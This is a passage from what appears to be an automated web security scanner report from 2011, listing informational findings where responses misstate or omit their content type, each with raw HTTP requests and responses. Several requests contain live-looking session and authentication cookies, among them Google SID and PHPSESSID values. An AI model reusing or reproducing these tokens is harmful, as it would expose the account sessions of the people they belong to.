GET /v3/?1=%7B%22isTMMEnabled%22%3A256%2C%22fullBarEnabled%22%3A0%2C%22numLinks%22%3A0%2C%22numTmmLinks%22%3A0%2C%22socialLinkStatus%22%3A200%2C%22userSocialLinksDisabled%22%3Afalse%2C%22slinkPageId%22%3A%2205c3805c8b39f1c4e5f3d8aae6059ba9%22%2C%22pluginVersion%22%3A%22%22%2C%22type%22%3A1131%2C%22siteId%22%3A310935%2C%22visitId%22%3A%22159387d3b5db41cd9cd6675036627046%22%2C%22pageId%22%3A433159872%7D&AC=FQtL8KWd11&FI=af9c9728-972d-4d0e-a752-6b723d873326 HTTP/1.1
Host: l.apture.com
Proxy-Connection: keep-alive
Referer: http://thehackernews.com/
Origin: http://thehackernews.com
X-REQUESTED-WITH: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/javascript
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST
Access-Control-Max-Age: 604800
Access-Control-Allow-Headers: ORIGIN, X-REQUESTED-WITH
Content-Length: 2
Date: Fri, 16 Sep 2011 17:54:52 GMT
Connection: close

{}

25.5. http://livechat.iadvize.com/rpc/referrer.php previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://livechat.iadvize.com
Path:	/rpc/referrer.php

Issue detail

The response contains the following Content-type statement:

Content-Type: text/javascript; charset=utf-8

The response states that it contains script. However, it actually appears to contain plain text.

Request

GET /rpc/referrer.php?s=1821&get=&random=1316216716286 HTTP/1.1
Host: livechat.iadvize.com
Proxy-Connection: keep-alive
Referer: http://www.mailjet.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: vuid=fc0d3bf4f99e190aeffd3c6b449e3ce04e736ab952c62; 1821vvc=2; 1821_idzp=%7B%22site_id%22%3A1821%2C%22chatcount%22%3A0%2C%22nbrVisite%22%3A1%2C%22country%22%3Anull%2C%22country_name%22%3A%22%22%2C%22city%22%3A%22%22%2C%22lat%22%3Anull%2C%22long%22%3Anull%2C%22lang%22%3A%22en%22%2C%22visitorname%22%3A%22+%22%2C%22extID%22%3Anull%2C%22pageview%22%3A1%2C%22connectionTime%22%3A1316198661%2C%22navTime%22%3A1000%7D; 1821_idz=5BpDOKWS%2FkTWJm9Ev43C3ZPykmP%2BjsF4UYhz2VCIbR5txUhC6T%2BKwcCy9hJI8FcKUpAluYKb7y06d1kbXbWzvBgMnamPiXsbv3txM1yX0mRiW%2BbVh%2BBgOShBexiJWk1C%2Fqg6%2FrIk%2FMsGsiO5jNlOTe7aqOeQ

Response

HTTP/1.1 200 OK
Server: nginx/0.6.32
Date: Fri, 16 Sep 2011 18:44:22 GMT
Content-Type: text/javascript; charset=utf-8
Connection: keep-alive
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache
Pragma: no-cache
P3P: policyref="http://livechat.iadvize.com/w3c/p3p.xml", CP="NID DSP NON COR"
Set-Cookie: 1821_idzp=%7B%22site_id%22%3A1821%2C%22chatcount%22%3A0%2C%22nbrVisite%22%3A1%2C%22country%22%3Anull%2C%22country_name%22%3A%22%22%2C%22city%22%3A%22%22%2C%22lat%22%3Anull%2C%22long%22%3Anull%2C%22lang%22%3A%22en%22%2C%22visitorname%22%3A%22+%22%2C%22extID%22%3Anull%2C%22pageview%22%3A1%2C%22connectionTime%22%3A1316198661%2C%22navTime%22%3A1000%2C%22origin_site%22%3A%22%22%2C%22origin%22%3A%22direct%22%2C%22refengine%22%3A%22%22%2C%22refkeyword%22%3A%22%22%7D; path=/
Vary: Accept-Encoding
Content-Length: 173

iAdvize.vStats['origin_site'] = '';iAdvize.vStats['origin'] = 'direct';iAdvize.vStats['refengine'] = '';iAdvize.vStats['refkeyword'] = '';iAdvize.util.delScript('referrer');

25.6. https://login.secureserver.net/images/favicon_pl.ico previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	https://login.secureserver.net
Path:	/images/favicon_pl.ico

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain; charset=UTF-8

The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Request

Response

25.7. https://login.secureserver.net/images/login/login_mmail.jpg previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	https://login.secureserver.net
Path:	/images/login/login_mmail.jpg

Issue detail

The response contains the following Content-type statement:

Content-Type: image/jpeg

The response states that it contains a JPEG image. However, it actually appears to contain a GIF image.

Request

GET /images/login/login_mmail.jpg?r=1 HTTP/1.1
Host: login.secureserver.net
Connection: keep-alive
Referer: https://login.secureserver.net/?app=mmail&target=login
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 18:09:01 GMT
Server: Apache/2.2.3 (CentOS)
Last-Modified: Thu, 23 Apr 2009 23:41:32 GMT
ETag: "92126f-90c-468416b778300"
Accept-Ranges: bytes
Content-Length: 2316
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: image/jpeg

GIF89al.!.......555.........===444999......III777...:::if^MMM..PZZZ666..<WVUBBBWWWCCCl..888...<<<MF5SSS...NNNJJJ...GGGPPP;;;............AAA@@@[[[......EEE>>>..~...HGDQQQ...345...F..ttt...NLHvsi???NF5D
...[SNIP]...

25.8. http://media.ubm.com/images/webdriver/toolbar/print.gif previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://media.ubm.com
Path:	/images/webdriver/toolbar/print.gif

Issue detail

The response contains the following Content-type statement:

Content-Type: image/gif

The response states that it contains a GIF image. However, it actually appears to contain a PNG image.

Request

GET /images/webdriver/toolbar/print.gif HTTP/1.1
Host: media.ubm.com
Proxy-Connection: keep-alive
Referer: http://media.ubm.com/news
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=101304133.2104120162.1316209479.1316209479.1316209479.1; __utmb=101304133.6.10.1316209479; __utmc=101304133; __utmz=101304133.1316209479.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=timm988to1bk4j35fe2lc91p90; __utma=20806436.44174265.1316209563.1316209563.1316209563.1; __utmb=20806436.1.10.1316209563; __utmc=20806436; __utmz=20806436.1316209563.1.1.utmcsr=ubm.com|utmccn=(referral)|utmcmd=referral|utmcct=/en/people/jobshop.aspx; s_cc=true; s_nr=1316209570978; s_lv=1316209570978; s_lv_s=First%20Visit; us_ubm_aut=8-3; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 16:45:24 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Last-Modified: Mon, 25 Apr 2011 21:11:03 +0000
Expires: Fri, 16 Sep 2011 17:45:24 +0000
Cache-Control: public, max_age=3600
Content-Length: 353
Content-Type: image/gif

.PNG
.
...IHDR.............(-.S....tEXtSoftware.Adobe ImageReadyq.e<...`PLTE...........................EMSry~............dkrXbiv~....R\b...............mv|fouJRWs{....ov{...i.......IDATx.T.... .....P
...[SNIP]...

25.9. http://media.ubm.com/images/webdriver/toolbar/rss.gif previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://media.ubm.com
Path:	/images/webdriver/toolbar/rss.gif

Issue detail

The response contains the following Content-type statement:

Content-Type: image/gif

The response states that it contains a GIF image. However, it actually appears to contain a PNG image.

Request

GET /images/webdriver/toolbar/rss.gif HTTP/1.1
Host: media.ubm.com
Proxy-Connection: keep-alive
Referer: http://media.ubm.com/news
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=101304133.2104120162.1316209479.1316209479.1316209479.1; __utmb=101304133.6.10.1316209479; __utmc=101304133; __utmz=101304133.1316209479.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=timm988to1bk4j35fe2lc91p90; __utma=20806436.44174265.1316209563.1316209563.1316209563.1; __utmb=20806436.1.10.1316209563; __utmc=20806436; __utmz=20806436.1316209563.1.1.utmcsr=ubm.com|utmccn=(referral)|utmcmd=referral|utmcct=/en/people/jobshop.aspx; s_cc=true; s_nr=1316209570978; s_lv=1316209570978; s_lv_s=First%20Visit; us_ubm_aut=8-3; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 16:45:24 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Last-Modified: Mon, 25 Apr 2011 21:11:03 +0000
Expires: Fri, 16 Sep 2011 17:45:24 +0000
Cache-Control: public, max_age=3600
Content-Length: 309
Content-Type: image/gif

.PNG
.
...IHDR.............(-.S....tEXtSoftware.Adobe ImageReadyq.e<...-PLTE................V,.o$.....n.q-..P..N.........w..u....tRNS.......................IDATx.L.Y..0..P...r...I.Q,>.....+X..W.H...
...[SNIP]...

25.10. http://now.eloqua.com/visitor/v200/svrGP.aspx previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://now.eloqua.com
Path:	/visitor/v200/svrGP.aspx

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html

The response states that it contains HTML. However, it actually appears to contain a GIF image.

Request

Response

25.11. http://player.ooyala.com/info/primary/ previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://player.ooyala.com
Path:	/info/primary/

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html

The response states that it contains HTML. However, it actually appears to contain plain text.

Request

Response

25.12. http://player.ooyala.com/sas/authorized previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://player.ooyala.com
Path:	/sas/authorized

Issue detail

The response contains the following Content-type statement:

Content-Type: text/xml

The response states that it contains XML. However, it actually appears to contain plain text.

Request

Response

25.13. http://rover.ebay.com/ar/1/711-53200-19255-108/1 previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://rover.ebay.com
Path:	/ar/1/711-53200-19255-108/1

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html

The response states that it contains HTML. However, it actually appears to contain script.

Request

Response

25.14. http://ws.amazon.com/widgets/q previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://ws.amazon.com
Path:	/widgets/q

Issue detail

The response contains the following Content-type statement:

Content-Type: application/javascript;charset=UTF-8

The response states that it contains script. However, it actually appears to contain unrecognised content.

Request

Response

25.15. http://www.amazon.com/gp/loader/jsonp previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.amazon.com
Path:	/gp/loader/jsonp

Issue detail

The response contains the following Content-type statement:

Content-Type: text/javascript; charset=UTF-8

The response states that it contains script. However, it actually appears to contain plain text.

Request

Response

25.16. http://www.conversionruler.com/bin/tracker.php previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.conversionruler.com
Path:	/bin/tracker.php

Issue detail

The response contains the following Content-type statement:

Content-Type: text/javascript

The response states that it contains script. However, it actually appears to contain plain text.

Request

Response

25.17. http://www.drugstore.com/LookAheadSuggestions.aspx previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.drugstore.com
Path:	/LookAheadSuggestions.aspx

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain XML.

Request

Response

25.18. http://www.godaddy.com/sso/keepalive.aspx previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.godaddy.com
Path:	/sso/keepalive.aspx

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html

The response states that it contains HTML. However, it actually appears to contain a GIF image.

Request

Response

25.19. http://www.google.com/search previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.google.com
Path:	/search

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain unrecognised content.

Request

GET /search?sitesearch=*.apache.org&q=xss HTTP/1.1
Host: www.google.com
Proxy-Connection: keep-alive
Referer: http://www.apache.org/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Avail-Dictionary: sXoKgwNA
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PREF=ID=26ea7fef0a6cf43b:U=f5d01e2b2ce2e5f3:TM=1314742576:LM=1314798155:S=dIZk57crg6QHX-5i; HSID=AbppJa1_E7iMausjK; APISID=qfB18aLM4wkSRyYX/Aqw8quAKRHd7UuSmT; SID=DQAAAO4AAAD7Xl0oDS_3Xy0JKwYeKgRjMbxp0c2W5DSFLy2Y9JkSJYmKvv1nBof0akZrOA6irTQl8KxP9Eoae06RbjzCClA25MRuVFdF6rXzUkh8SKGCxg1rw75hUuF-Q6Hfpq5C54hAzhRx-AmmtuoAFnzNK8zWfOVJpa_QelYHWpLFQHbnPZSoTt-oYFQ8FvrjsTQtOrrTGqDw6xFuT1mXvxsUuamUyR2icH4Fzc2kSrnlcFORO_n1bWSW0aN0HPNXtAVlbrIKfpZOlzJv9hO2NdES_xUtKqOl4j7gqJr7lekB4ZGb18ynomXsS5lHVunDhfYOlCo; NID=51=sK4D6Ekqiq5x2aIbfG65p0N2bY_ck2S7XMaUrDs_B5DJ1iJfkQNtuQI8wOg2lKG4sBjrjWXSg7pA0iwTqjrJ-gxxWdfY8fs1gpCmxlTKp0PssKiWQtHPYPS35cLQE0Df

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 16:17:10 GMT
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html; charset=UTF-8
Server: gws
X-XSS-Protection: 1; mode=block
Content-Length: 26309

NKGaDyNz....S....%..w..~...j.....)s#..xss.7#..hnZzTvLJAezJsQK1jp2MBQC..K...30316,30541,30694,31215,31702,31775,31795,32034,32412,32505,32566,32804",kCSI:{e:"28936,30316,30541,30694,31215,31702,31775,3
...[SNIP]...

25.20. http://www.port25.com/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.port25.com
Path:	/favicon.ico

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain; charset=UTF-8

The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Request

GET /favicon.ico HTTP/1.1
Host: www.port25.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CR_1195_2=5EAD601775BCFD6E; __utma=1.5711670.1316204852.1316204852.1316204852.1; __utmb=1.5.10.1316204852; __utmc=1; __utmz=1.1316204852.1.1.utmgclid=CL3QyvqJoqsCFSOAgwodRgln2A|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=smtp%20server; __ar_v4=NQ5TTRI2MVGQHFZLQL6SMW%3A20110916%3A1%7CUSFQSVPCUNEC3MWWKVX6RH%3A20110916%3A1%7C4LZ2WHLFKZGJBDJQYVBYXX%3A20110916%3A1

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:28:10 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Thu, 31 Mar 2011 15:43:15 GMT
ETag: "ca0066-47e-49fc926cc2ac0"
Accept-Ranges: bytes
Content-Length: 1150
Connection: close
Content-Type: text/plain; charset=UTF-8

............ .h.......(....... ..... .........................................................................................................................tr.....~..................................
...[SNIP]...

25.21. http://www.port25.com/includes/port25.css previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.port25.com
Path:	/includes/port25.css

Issue detail

The response contains the following Content-type statement:

Content-Type: text/css

The response states that it contains CSS. However, it actually appears to contain HTML.

Request

GET /includes/port25.css HTTP/1.1
Host: www.port25.com
Proxy-Connection: keep-alive
Referer: http://www.port25.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=1.5711670.1316204852.1316204852.1316204852.1; __utmb=1.3.10.1316204852; __utmc=1; __utmz=1.1316204852.1.1.utmgclid=CL3QyvqJoqsCFSOAgwodRgln2A|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=smtp%20server

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:27:40 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Wed, 07 May 2008 19:27:18 GMT
ETag: "ca0958-1bbf-44ca8f3f55180"
Accept-Ranges: bytes
Content-Length: 7103
Connection: close
Content-Type: text/css

/* -----------------------------------------------
   Style Sheet for Port25
-----------------------------------------------*/
<style type="text/css">

junk{
   background-color: #ffffff;
   width: 700px;
...[SNIP]...

25.22. http://www.snapengage.com/snapabug/ServiceGetConfig previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.snapengage.com
Path:	/snapabug/ServiceGetConfig

Issue detail

The response contains the following Content-type statement:

Content-Type: text/javascript;charset=UTF-8

The response states that it contains script. However, it actually appears to contain plain text.

Request

GET /snapabug/ServiceGetConfig?w=8d68486b-56f8-4224-9862-8ffa3106ecfb&p=1 HTTP/1.1
Host: www.snapengage.com
Proxy-Connection: keep-alive
Referer: http://sendgrid.com/pricing.html?gclid=CPWo1PSJoqsCFRRSgwod8HVslQ
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: max-age=30
Content-Type: text/javascript;charset=UTF-8
Vary: Accept-Encoding
Date: Fri, 16 Sep 2011 15:28:51 GMT
Server: Google Frontend
Content-Length: 56

SnapABug.callbackGetWidgetConfig(1,"","","",1,0,1,1,0);

25.23. http://www.socketlabs.com/highslide/graphics/zoomout.cur previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.socketlabs.com
Path:	/highslide/graphics/zoomout.cur

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain

The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Request

GET /highslide/graphics/zoomout.cur HTTP/1.1
Host: www.socketlabs.com
Proxy-Connection: keep-alive
Referer: http://www.socketlabs.com/lpages/od-smtp-service?ctt_id=3448125&ctt_adnw=Google&ctt_kw=SMTP%20server&ctt_ch=ps&ctt_entity=tc&ctt_adid=7890931031&ctt_nwtype=search&ctt_cli=8x11767x88739x778008&gclid=CJKar_KJoqsCFRpggwodHTRzEg
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=1.1481900178.1316204835.1316204835.1316204835.1; __utmb=1.1.10.1316204835; __utmc=1; __utmz=1.1316204835.1.1.utmgclid=CJKar_KJoqsCFRpggwodHTRzEg|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=smtp%20server; wooTracker=U1NI3DMK2PFIBO4BHUYTYMWQTGG1A999; wooMeta=ODUwNjQmMSYwJjEmMTMxNjE4Njc5OTQxMCYxMzE2MTg2Nzk5NDEwJmh0dHAlM0ElMkYlMkZ3d3cuZ29vZ2xlLmNvbSUyRnNlYXJjaCUzRnNvdXJjZWlkJTNEY2hyb21lJTI2aWUlM0RVVEYtOCUyNnElM0RzbXRwJTJCc2VydmVyJjEwMSZzbXRwK3NlcnZlciY1MDAyNTkmJiYm

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:26:43 GMT
Server: Apache/2.2.4 (Unix) mod_ssl/2.2.4 OpenSSL/0.9.7a PHP/5.2.3
Last-Modified: Wed, 31 Aug 2011 21:10:17 GMT
ETag: "5f90e78-146-8e148040"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 326
Content-Type: text/plain

...... ......0.......(... ...@.............................................................................................p............... ...@.............7...$ ..$ ..7.............................
...[SNIP]...

25.24. http://www.stumbleupon.com/hostedbadge.php previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.stumbleupon.com
Path:	/hostedbadge.php

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=iso-8859-1

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /hostedbadge.php?s=1 HTTP/1.1
Host: www.stumbleupon.com
Proxy-Connection: keep-alive
Referer: http://thehackernews.com/2011/09/godaddy-websites-compromised-with.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: su_bc=2

Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref="/w3c/p3p.xml", CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Vary: Accept-Encoding
Keep-Alive: timeout=30, max=100
Content-Type: text/html; charset=iso-8859-1
Cache-Control: maxage=86400, public
Content-Length: 378
Date: Fri, 16 Sep 2011 17:55:15 GMT
Age: 57700
Via: 1.1 varnish
Connection: keep-alive

function writeSuBadge () {
var b1 = "<iframe src=\"http:\/\/www.stumbleupon.com\/badge\/embed\/1\/?url=";
var b2 = "\" scrolling=\"no\" frameborder=\"0\" style=\"border:none; overflow:hidden; width:74
...[SNIP]...

25.25. http://www.zoomerang.com/Shared/Report/L22XZG54CT2Z/QuestionResultsWidget/check_7 previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.zoomerang.com
Path:	/Shared/Report/L22XZG54CT2Z/QuestionResultsWidget/check_7

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /Shared/Report/L22XZG54CT2Z/QuestionResultsWidget/check_7?width=177&bc=226DB1&bgc=CFE8FC&fc=000000&fs=10&rc=False&rp=True&trc=False&shn=True&tb=False&pr=False HTTP/1.1
Host: www.zoomerang.com
Proxy-Connection: keep-alive
Referer: http://www.altn.com/Products/MDaemon-Email-Server-Windows/?gclid=CNC9_rqUoqsCFeUZQgodLn8qig
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

26. Content type is not specified previous
There are 3 instances of this issue:

http://63.80.4.140/open/1
http://l.player.ooyala.com/verify
http://s6.apture.com/ping/

Issue description

If a web response does not specify a content type, then the browser will usually analyse the response and attempt to determine the MIME type of its content. This can have unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the absence of a content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

26.1. http://63.80.4.140/open/1 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://63.80.4.140
Path:	/open/1

Request

POST /open/1 HTTP/1.1
User-Agent: Shockwave Flash
Host: 63.80.4.140
Content-Length: 1
Proxy-Connection: Keep-Alive
Pragma: no-cache

.

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Connection: Keep-Alive
Content-Length: 17
Server: FlashCom/3.5.6

6Etmdz02xSLWOuaS

26.2. http://l.player.ooyala.com/verify previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://l.player.ooyala.com
Path:	/verify

Request

POST /verify?ts=1316204887826 HTTP/1.1
Host: l.player.ooyala.com
Proxy-Connection: keep-alive
Referer: http://player.ooyala.com/static/cacheable/8933d67147be1f15015cae08f54944fc/player_v2.swf
Content-Length: 1
Origin: http://go.icontact.com
x-verify: AwABAgwAFQsAAgAAAAJDQQsAAwAAAApTQU5UQUNMQVJBCwAEAAAAB1NBTkpPU0UIAAYABbJoCAAH/+1mhgsACAAAAA01MC4yMy4xMjMuMTA2BgAJAycGAAoc6AMACwELAAwAAAALK3pOMGFhRzZhV3YACAAITnOxVgYACQEsCwAEAAAAD0JzOFQ3a3ZMUnR0a3lBSQsABQAAAAJVUwsABgAAAEBodHRwOi8vZ28uaWNvbnRhY3QuY29tL1NFTS9BUC9mcmVlLTMwLWRheS10cmlhbC0yMEo2LTE3MjVINC5odG1sCAAHTnNqKw8ACgsAAAADAAAAHHd5ZUdRNmpEa0RHUGw2TnR5VWc3UHFEZVVUNm0AAAAgQnhjblprTWpwdmphNXBrTTVUZV9lX3JBcnBId2xqZmkAAAABbw8AFAwAAAADAwABBQADAAECAwACAAADAAEBAA8ADAgAAAADAAAANgAAADYAAAAACwANAAAAGXYtV0lOXzEwLjMuMTgzLjchci1mIWMtNTUPAAsMAAAADgMAAQADAAITCAAGAAAAAAADAAECAwACEwgABk5s13oAAwABAQMAAgEIAAYAAAAAAgARAQIAEgEAAwABAAMAAgEIAAYAAAAAAgARAQIAEgEAAwABAgMAAgEIAAZObNd6AgARAQIAEgEADwALAwAAAAMBAAIDAAIZDAAaCwABAAAAHWlwLTEwLTkwLTEwNy01Ml8xMzE2MTg2ODUwXzg2CwACAAAAIEJ4Y25aa01qcHZqYTVwa001VGVfZV9yQXJwSHdsamZpCAADAAAAAAQABEASz987ZFodBAAFQIJwAAAAAAAEAAZAgnAAAAAAAAsACAAAAAAAAA8ACwMAAAADAQACAwACCgwABQgAAgAAAAANAAsDCAAAAAIFAAABfQMABKHpCwAPAAAAEXBsYXllci5vb3lhbGEuY29tCAAFAAAAkQYADQABBgAOAJEAAA8ACwMAAAADAQACAwACCgwABQgAAgAAABENAAsDCAAAAAIEAASqVwUAAALMCAAFAAACNgYADQAGBgAOASMAAAMAAQIDAAISDAAQBgABAAEPAAIIAAAAAQAABeQAAgAcAAADAAECAwACEgwAEAYAAQACDwACCAAAAAEAAAZLAAIAHAAADwALAwAAAAMCAAEDAAISDAAOCAAFAAAGQAAMABAGAAEAHg8AAggAAAABAAAG1AACABwAAA8ACwMAAAADAQACAwACCgwABQgAAgAAADwNAAsDCAAAAAEEAAAETwgABQAAAgMGAA0AAQYADgIDAAAPAAsDAAAAAwEAAgMAAgoMAAUIAAIAAAANDQALAwgAAAABAgAAjFcIAAUAAAEQBgANAAEGAA4BEAAAAwABAgMAAhIMABAGAAEAAw8AAggAAAABAAAHAgACABwAAAMAEQADABIBAwAPAQA=&sig=lOcNiKhUdF0E0THKIkhD
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
content-type: application/x-www-form-urlencoded
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=131238736.759487282.1315547307.1315547307.1315547307.1; __utmz=131238736.1315547307.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); _mkto_trk=id:447-EQK-225&token:_mch-ooyala.com-1315547307468-28819

.

Response

HTTP/1.1 200 OK
Server: nginx/0.7.61
Date: Fri, 16 Sep 2011 15:27:32 GMT
Content-Length: 2
Connection: close
Expires: Fri, 16 Sep 2011 15:27:31 GMT
Cache-Control: no-cache

OK

26.3. http://s6.apture.com/ping/ previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://s6.apture.com
Path:	/ping/

Request

GET /ping/?AC=FQtL8KWd11&FI=af9c9728-972d-4d0e-a752-6b723d873326&cb=0 HTTP/1.1
Host: s6.apture.com
Proxy-Connection: keep-alive
Referer: http://thehackernews.com/
Origin: http://thehackernews.com
X-REQUESTED-WITH: XMLHttpRequest
